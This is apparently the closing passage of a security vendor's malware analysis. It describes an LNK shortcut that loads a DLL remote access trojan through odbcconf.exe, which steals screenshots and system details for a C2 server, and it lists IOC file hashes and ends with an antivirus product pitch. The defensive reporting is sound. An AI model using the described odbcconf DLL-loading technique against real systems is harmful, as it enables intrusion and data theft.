Overall, The Windows shortcut (LNK) executes a Moq.dll via odbcconf.exe which acts as a multi- functional Remote
Access Trojan (RAT). It executes commands from the attacker's Command & Control (C2) server and collects
information from the victim machine such as screenshots, system details, and security software presence. The stolen
data is uploaded to a remote server.

As RAT acts as per the commands from the hacker that the commands could change with time, it is necessary that
the users need to be aware and avail the benefits of installing a reputed security software like K7 TotalSecurity and
regularly update the product to stay safe and secure.

I0C’s
Hash Detection Name
7391C3D895246DBD5D26BF70F1D8CBAD  Trojan ( 0001140e1)
2956ec73ec77757271e612b81ca122c4 Trojan ( 0001140e1)
5a1d0e023f696d094d6f7b25f459391f Trojan ( 0001140e1)
92fc7724688108d3ad841f3d2ce19dc7 Trojan (0001140e1)
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